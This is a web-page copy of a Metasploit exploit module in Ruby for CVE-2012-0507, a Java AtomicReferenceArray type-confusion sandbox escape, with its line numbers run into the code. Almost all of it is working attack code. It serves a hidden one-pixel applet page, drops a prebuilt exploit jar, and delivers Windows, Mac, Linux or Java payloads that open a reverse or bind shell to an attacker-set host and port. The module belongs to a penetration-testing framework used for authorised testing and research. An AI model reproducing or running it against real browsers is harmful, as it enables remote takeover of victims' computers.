Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/multi/browser/java_atomicreferencearray.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = ExcellentRanking78include Msf::Exploit::Remote::HttpServer::HTML9include Msf::Exploit::EXE1011include Msf::Exploit::Remote::BrowserAutopwn12autopwn_info({ :javascript => false })1314def initialize( info = {} )15super( update_info( info,16'Name' => 'Java AtomicReferenceArray Type Violation Vulnerability',17'Description' => %q{18This module exploits a vulnerability due to the fact that19AtomicReferenceArray uses the Unsafe class to store a reference in an20array directly, which may violate type safety if not used properly.21This allows a way to escape the JRE sandbox, and load additional classes22in order to perform malicious operations.23},24'License' => MSF_LICENSE,25'Author' =>26[27'Jeroen Frijters', #Initial discovery according to his blog28'sinn3r', # metasploit module29'juan vazquez', # metasploit module30'egypt' # added support for older java versions31],32'References' =>33[34['CVE', '2012-0507'],35['OSVDB', '80724'],36['BID', '52161'],37['URL', 'http://weblog.ikvm.net/PermaLink.aspx?guid=cd48169a-9405-4f63-9087-798c4a1866d3'],38['URL', 'http://blogs.technet.com/b/mmpc/archive/2012/03/20/an-interesting-case-of-jre-sandbox-breach-cve-2012-0507.aspx'],39['URL', 'http://schierlm.users.sourceforge.net/TypeConfusion.html'],40['URL', 'https://bugzilla.redhat.com/show_bug.cgi?id=CVE-2012-0507'],41['URL', 'https://www.rapid7.com/blog/post/2012/03/29/cve-2012-0507--java-strikes-again']42],43'Platform' => %w{ java linux osx solaris win },44'Payload' => { 'Space' => 20480, 'BadChars' => '', 'DisableNops' => true },45'Targets' =>46[47[ 'Generic (Java Payload)',48{49'Platform' => ['java'],50'Arch' => ARCH_JAVA,51}52],53[ 'Windows x86 (Native Payload)',54{55'Platform' => 'win',56'Arch' => ARCH_X86,57}58],59[ 'Mac OS X PPC (Native Payload)',60{61'Platform' => 'osx',62'Arch' => ARCH_PPC,63}64],65[ 'Mac OS X x86 (Native Payload)',66{67'Platform' => 'osx',68'Arch' => ARCH_X86,69}70],71[ 'Linux x86 (Native Payload)',72{73'Platform' => 'linux',74'Arch' => ARCH_X86,75}76],77],78'DefaultTarget' => 0,79'DisclosureDate' => '2012-02-14'80))81end828384def exploit85# load the static jar file86path = File.join( Msf::Config.data_directory, "exploits", "CVE-2012-0507.jar" )87fd = File.open( path, "rb" )88@jar_data = fd.read(fd.stat.size)89fd.close9091super92end939495def on_request_uri( cli, request )96data = ""97host = ""98port = ""99100if not request.uri.match(/\.jar$/i)101if not request.uri.match(/\/$/)102send_redirect( cli, get_resource() + '/', '')103return104end105106print_status("Sending #{self.name}")107108payload = regenerate_payload( cli )109if not payload110print_error("Failed to generate the payload." )111return112end113114if target.name == 'Generic (Java Payload)'115if datastore['LHOST']116jar = payload.encoded117host = datastore['LHOST']118port = datastore['LPORT']119vprint_status("Sending java reverse shell")120else121port = datastore['LPORT']122host = cli.peerhost123vprint_status( "Java bind shell" )124end125if jar126print_status( "Generated jar to drop (#{jar.length} bytes)." )127jar = Rex::Text.to_hex( jar, prefix="" )128else129print_error("Failed to generate the executable." )130return131end132else133134# NOTE: The EXE mixin automagically handles detection of arch/platform135data = generate_payload_exe136137print_status("Generated executable to drop (#{data.length} bytes)." )138data = Rex::Text.to_hex( data, prefix="" )139140end141142send_response_html( cli, generate_html( data, jar, host, port ), { 'Content-Type' => 'text/html' } )143return144end145146print_status("Sending jar")147send_response( cli, generate_jar(), { 'Content-Type' => "application/octet-stream" } )148149handler( cli )150end151152def generate_html( data, jar, host, port )153jar_name = rand_text_alpha(rand(6)+3) + ".jar"154155html = "<html><head></head>"156html += "<body>"157html += "<applet archive=\"#{jar_name}\" code=\"msf.x.Exploit.class\" width=\"1\" height=\"1\">"158html += "<param name=\"data\" value=\"#{data}\"/>" if data159html += "<param name=\"jar\" value=\"#{jar}\"/>" if jar160html += "<param name=\"lhost\" value=\"#{host}\"/>" if host161html += "<param name=\"lport\" value=\"#{port}\"/>" if port162html += "</applet></body></html>"163return html164end165166def generate_jar()167return @jar_data168end169end170171172173